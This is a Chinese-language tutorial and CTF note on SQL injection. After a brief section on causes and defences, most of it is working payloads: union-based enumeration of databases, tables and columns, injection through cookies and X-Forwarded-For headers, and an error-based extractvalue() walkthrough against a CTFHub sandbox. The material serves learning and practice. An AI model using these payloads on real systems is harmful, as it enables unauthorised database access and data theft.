SQL 注入(SQL injection)是一种网络安全漏洞,使得攻击者能够干扰应用程序对数据库的查询,从而访问正常情况下看不到的数据。
SQL 注入原理
应用程序对用户输入数据的合法性判断不严或者根本没有判断,导致攻击者可以构造 SQL 语句在后端执行,实现对数据库的任意操作。该漏洞的产生需要满足两个条件:
- 参数内容用户可控
- 参数带入数据库查询
漏洞影响
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机
防御方法
- 过滤危险字符:避免数据变成代码被执行,时刻分清代码和数据的界限
- 使用预编译语句:不要把参数的内容直接拼接到 PDO 语句中,而是在数据库完成 SQL 指令的编译后才套用参数运行(使用占位符进行数据库的增删查改)
SQL 注入一般流程
- 找数据输入点
- 判断是否存在注入
- 判断注入类型
- 判断列数
- 找当前数据库
- 找所有数据库名
- 找表名
- 找字段名
- 获取数据
参数类型分类
参数值会使用符号进行闭合
数字型
:::success
形式:http://x.com/index.php?id=1
,注入点 id,数字类型
构造 SQL:select *** from *** where id=1 union ***
:::
检查是否存在注入
1 and 1=1 // 回显正常
1 and 1=2 // 回显异常
猜字段数,利用
order by x
(x 为数字)1 order by 2 // 回显正常
1 order by 3 // 回显异常,说明字段数为 2
暴数据库名,利用
union
联合查询1 and 1=2 union select 1,database() // 回显数据库名称 sqli
暴表名
1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
// 回显表名 news,flag
暴列名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
// 回显字段名flag
暴字段内容
1 and 1=2 union select 1,group_concat(flag) from sqli.flag
字符型(引号闭合)
:::success
形式:http://x.com/index.php?name=admin
构造 SQL:select from where name=’admin’ and 1=1
字符型注入要考虑到引号闭合和注释
:::
判断是否存在注入
1' and 1=1 --+ // 回显正常
1' and 1=2 --+ // 回显异常
猜字段数
1' order by 2 --+ // 回显正常
1' order by 3 --+ // 回显异常,说明字段数为 2
测试空格字符代替情况 (可跳过)
?id=1’ order by 2 — - 返回正确
?id=1’ order by 2 — / 返回正确
暴数据库名
?id=1’ and 1=2 union select 1,database()—+
得到数据库名 sqli
暴表名
?id=1’ and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=’sqli’—+
暴列名
?id=1’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’—+
暴字段内容
?id=1’ and 1=2 union select 1,group_concat(flag) from sqli.flag—+
搜索型(单引号百分号闭合)
主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 “keyword=“关键字””,注入点提交的是sql语句,select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=’%1%’
HTTP 方法分类
GET 注入
?id=1 and 1=1
POST 注入
可以分为以下这三种,xml 存在注入的可能性非常大
form
json
xml
Cookie 注入
当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。
Cookie: id=1 and 1=1
XFF 注入
XFF(X-Forward-For
),代表客户端真实的 ip 地址
X-Forward-For:127.0.0.1’ select 1,2,user()
注入方式分类
根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
报错注入
尝试报错函数发现可以用 extractvalue(),错误信息能够显示当前使用的数据库名称为 sqli
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))—+
爆表名
获取表名,推断flag表有我们想要的东西
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))—+
爆列名
获取列名,flag表的flag字段或许就是我们的目标了
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’flag’),0x7e))—+
爆数据
初次尝试,发现显示结果不全,推测此题对回显长度有限制
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))—+
方法一:MID函数
MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
提取查询结果前16个字符
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))—+
提取剩余字符
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))—+
拼接得到flag
方法二:直接select
取巧的方法
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))—+
布尔盲注
时间盲注
Union 注入
其他
DNSlog 盲注
宽字节注入
使用 sqlmap
https://www.yuque.com/_awake/ri1fuk/bi8mvg